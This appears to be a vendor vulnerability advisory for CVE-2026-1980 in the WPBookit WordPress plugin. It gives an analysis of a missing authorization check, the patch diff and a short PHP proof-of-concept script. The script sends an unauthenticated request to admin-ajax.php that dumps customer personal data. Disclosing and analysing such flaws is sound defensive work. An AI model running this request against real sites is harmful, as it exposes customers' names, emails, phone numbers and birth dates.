Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1980: WPBookit <= 1.0.8 – Missing Authorization to Unauthenticated Sensitive Customer Data Exposure (wpbookit)

CVE ID CVE-2026-1980
Plugin wpbookit
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 1.0.8
Patched Version 1.0.9
Disclosed March 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1980:
The vulnerability originates from a missing authorization check in the WPBookit plugin’s AJAX routing handler. The plugin defines a route ‘get_customer_list’ that maps to the WPBOOKIT_Customer_Controller@get_customer_list method. In versions up to 1.0.8, this route lacked both a ‘nonce’ requirement and a ‘permission’ requirement in the route definition array within class.wpb-admin-routes.php. The central AJAX request handler, wpb_ajax_get() in class.wpb-admin-routes-handler.php, only performed permission checks if a ‘permission’ key was explicitly set in the route configuration. Since the ‘get_customer_list’ route had no ‘permission’ key, the check was bypassed. The handler also lacked a mandatory login check for routes requiring a nonce. Attackers can exploit this by sending a GET or POST request to /wp-admin/admin-ajax.php with the ‘action’ parameter set to ‘get_customer_list’. No authentication or nonce is required. Successful exploitation returns a list of all customer records, exposing sensitive personal data including names, email addresses, phone numbers, dates of birth, and gender. The patch addresses the root cause by adding both ‘nonce => 1’ and ‘permission => “manage_options”‘ to the ‘get_customer_list’ route definition. It also adds a critical logic block to the wpb_ajax_get() function that first checks if a user is logged in for any route marked with ‘nonce => 1’, before verifying the nonce itself. This two-layer fix ensures that unauthenticated requests are blocked with a 401 error, and authenticated but unauthorized requests are blocked by the subsequent capability check.

Differential between vulnerable and patched code

Code Diff
--- a/wpbookit/core/admin/classes/class.wpb-admin-routes-handler.php
+++ b/wpbookit/core/admin/classes/class.wpb-admin-routes-handler.php
@@ -98,7 +98,7 @@

 	public function wpb_ajax_get() {
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- This is for Settings display, not processing form data
-		if ($_REQUEST === '') {
+		if ( empty( $_REQUEST ) ) {
 			$_REQUEST = json_decode(file_get_contents("php://input"), true);
 		}

@@ -127,6 +127,20 @@
 					throw new Exception($error, 405);
 				endif;

+				// Verify nonce if required
+				if (isset($route['nonce']) && $route['nonce'] === 1) :
+					if ( ! is_user_logged_in() ) {
+						$error = __('Authentication required.', 'wpbookit');
+						throw new Exception($error, 401);
+					}
+
+					$nonce = isset($_REQUEST['_ajax_nonce']) ? sanitize_text_field(wp_unslash($_REQUEST['_ajax_nonce'])) : '';
+					if (empty($nonce) || !wp_verify_nonce($nonce, 'wpb_ajax_nonce')) :
+						$error = __('Invalid nonce in request', 'wpbookit');
+						throw new Exception($error, 419);
+					endif;
+				endif;
+
                 // Check for permissions if defined in the route
                 if (isset($route['permission']) && !empty($route['permission'])) {
                     if (!is_user_logged_in() || !current_user_can($route['permission'])) {
--- a/wpbookit/core/admin/classes/class.wpb-admin-routes.php
+++ b/wpbookit/core/admin/classes/class.wpb-admin-routes.php
@@ -20,6 +20,8 @@
                     'method' => 'get',
                     'action' => 'WPBOOKIT_Home_Controller@get_dashboard_apt_revenue_date',
                     'module' => 'dashboard-controller',
+                    'nonce' => 1,
+                    'permission' => 'manage_options',
                     'dependency' => array(
                         IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-page.php",
                         IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-dashboard.php",
@@ -30,6 +32,7 @@
                     'method' => 'get',
                     'action' => 'WPBOOKIT_Booking_Controller@get_bookings',
                     'nonce' => 1,
+                    'permission' => 'manage_options',
                     'module' => 'booking-controller'
                 ],
                 'add_booking' => [
@@ -147,6 +150,8 @@
                     'method' => 'get',
                     'action' => 'WPBOOKIT_Customer_Controller@get_customer_list',
                     'module' => 'customer-controller',
+                    'nonce' => 1,
+                    'permission' => 'manage_options',
                     'dependency' => array(
                         IQWPB_PLUGIN_PATH . "core/includes/wpb-core-functions.php",
                         IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-page.php",
@@ -157,6 +162,8 @@
                     'method' => 'get',
                     'action' => 'WPBOOKIT_Guest_Controller@get_guest_list',
                     'module' => 'guest-controller',
+                    'nonce' => 1,
+                    'permission' => 'manage_options',
                     'dependency' => array(
                         IQWPB_PLUGIN_PATH . "core/includes/wpb-core-functions.php",
                         IQWPB_PLUGIN_PATH . "core/includes/wpb-guest-users-functions.php",
@@ -226,6 +233,7 @@
                     'method' => 'get',
                     'action' => 'WPBOOKIT_Booking_Controller@get_bookings_data',
                     'nonce' => 1,
+                    'permission' => 'manage_options',
                     'module' => 'booking-controller',
                     'dependency' => array(
                         IQWPB_PLUGIN_PATH . "core/includes/abstracts/abstract-wpb-data.php",
@@ -337,6 +345,7 @@
                     'method' => 'get',
                     'action' => 'WPBOOKIT_Calendar_Controller@get_calendar_booking',
                     'nonce' => 1,
+                    'permission' => 'manage_options',
                     'module' => 'calendar-controller'
                 ],

--- a/wpbookit/core/admin/classes/controllers/class.wpb-booking-shortcode-controller.php
+++ b/wpbookit/core/admin/classes/controllers/class.wpb-booking-shortcode-controller.php
@@ -497,7 +497,7 @@
                 } else {
                     $user_id = get_current_user_id();
                     if ($request->has_param('wpb_user_name')) {
-                        update_user_meta($user_id, 'first_name', $request->get_param('wpb_user_name') ?? '');
+                        update_user_meta($user_id, 'first_name', sanitize_text_field($request->get_param('wpb_user_name')) ?? '');
                     }

                     if (wpbookit_get_general_settings()['booking_limit'] != 'no-limit') {
@@ -531,8 +531,8 @@
                 $booking_data = array(
                     'booking_type_id' => $booking_type_instance->get_id(),
                     'customer_id' => 0,
-                    'booking_name' => $request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name'),
-                    'booking_email' => strtolower($request->get_param('wpb_user_email')),
+                    'booking_name' => sanitize_text_field($request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name')),
+                    'booking_email' => strtolower(sanitize_email($request->get_param('wpb_user_email'))),
                     'booking_type' => $booking_type_instance->get_name('view'),
                     'booking_date' => date('Y-m-d', $timestamp),//phpcs:ignore  WordPress.DateTime.RestrictedFunctions.date_date
                     'timeslot' => date('H:i:s', $current_timeslot),//phpcs:ignore  WordPress.DateTime.RestrictedFunctions.date_date
@@ -549,10 +549,10 @@
                 'time_24h'              => date('H:i:s', $current_timeslot),//phpcs:ignore  WordPress.DateTime.RestrictedFunctions.date_date
                 'interval'              => $booking_type_instance->get_duration(),
                 'google_meet_status'    => isset($google_meet_settings['google_meet_status']) ? $google_meet_settings['google_meet_status'] : 'off',
-                'booking_name'          => $request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name'),
-                'booking_email'         => strtolower($request->get_param('wpb_user_email')),
+                'booking_name'          => sanitize_text_field($request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name')),
+                'booking_email'         => strtolower(sanitize_email($request->get_param('wpb_user_email'))),
                 'is_guest_mode'         => $is_guest_mode,
-                'phone_number'          => $request->has_param('wpb_user_phone_number') && !empty($request->get_param('wpb_user_phone_number')) ? $request->get_param('wpb_user_phone_number') : '',
+                'phone_number'          => $request->has_param('wpb_user_phone_number') && !empty($request->get_param('wpb_user_phone_number')) ? sanitize_text_field($request->get_param('wpb_user_phone_number')) : '',
                 'request_data'          => $request->get_params(),
             );

@@ -581,7 +581,7 @@
             if ($request->has_param('wpb-booking_question')) {
                 $question_ans = [];
                 foreach (json_decode($booking_type_instance->get_meta('questions'), true) as $key => $value) {
-                    $value['ans'] = $request->get_param('wpb-booking_question')[$value['questionId']];
+                    $value['ans'] = sanitize_text_field($request->get_param('wpb-booking_question')[$value['questionId']]);
                     $question_ans[] = $value;
                 }
                 update_metadata('wpb_bookings', (int)$booking_id, 'questions_answers', wp_json_encode($question_ans), '');
--- a/wpbookit/core/admin/classes/controllers/class.wpb-setting-controller.php
+++ b/wpbookit/core/admin/classes/controllers/class.wpb-setting-controller.php
@@ -7,6 +7,7 @@
         update_option( 'wpbookit_general_setting_data', $request_data);
         $permalink_Handler = new Booking_Type_Handler();
         $permalink_Handler->add_booking_type_rewrite_rule([ ]);
+        flush_rewrite_rules();
         $response_data = array(
             "status"    => 'success',
             'message' => esc_html__("Settings Saved Successfully!", 'wpbookit')
--- a/wpbookit/wpbookit.php
+++ b/wpbookit/wpbookit.php
@@ -5,7 +5,7 @@
  * Plugin Name:   WPBookit
  * Plugin URI:    https://wpbookit.com
  * Description:   WPBookit is a comprehensive WordPress plugin that streamlines appointment bookings and enhances user experience, ideal for businesses of all sizes. Manage reservations effortlessly directly from your WordPress site.
- * Version:       1.0.8
+ * Version:       1.0.9
  * Author:        Iqonic Design
  * Author URI:    https://iqonic.design
  * Text Domain:   wpbookit
@@ -49,7 +49,7 @@

 // Plugin version
 if(!defined('IQWPB_VERSION')){
-	define( 'IQWPB_VERSION',	'1.0.8' );
+	define( 'IQWPB_VERSION',	'1.0.9' );
 }

 if (!defined('IQWPB_PLUGIN_FILE')) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1980 - WPBookit <= 1.0.8 - Missing Authorization to Unauthenticated Sensitive Customer Data Exposure
<?php

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';

// The exploit targets the plugin's AJAX handler.
// The 'action' parameter must be set to the vulnerable route 'get_customer_list'.
$post_data = [
    'action' => 'get_customer_list'
];

// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the request. No authentication headers or cookies are needed.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check the response.
echo "HTTP Status: $http_coden";
echo "Response Body:n";
echo $response;

// A successful exploit will return a JSON array containing customer objects.
// The response structure will vary based on plugin data.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School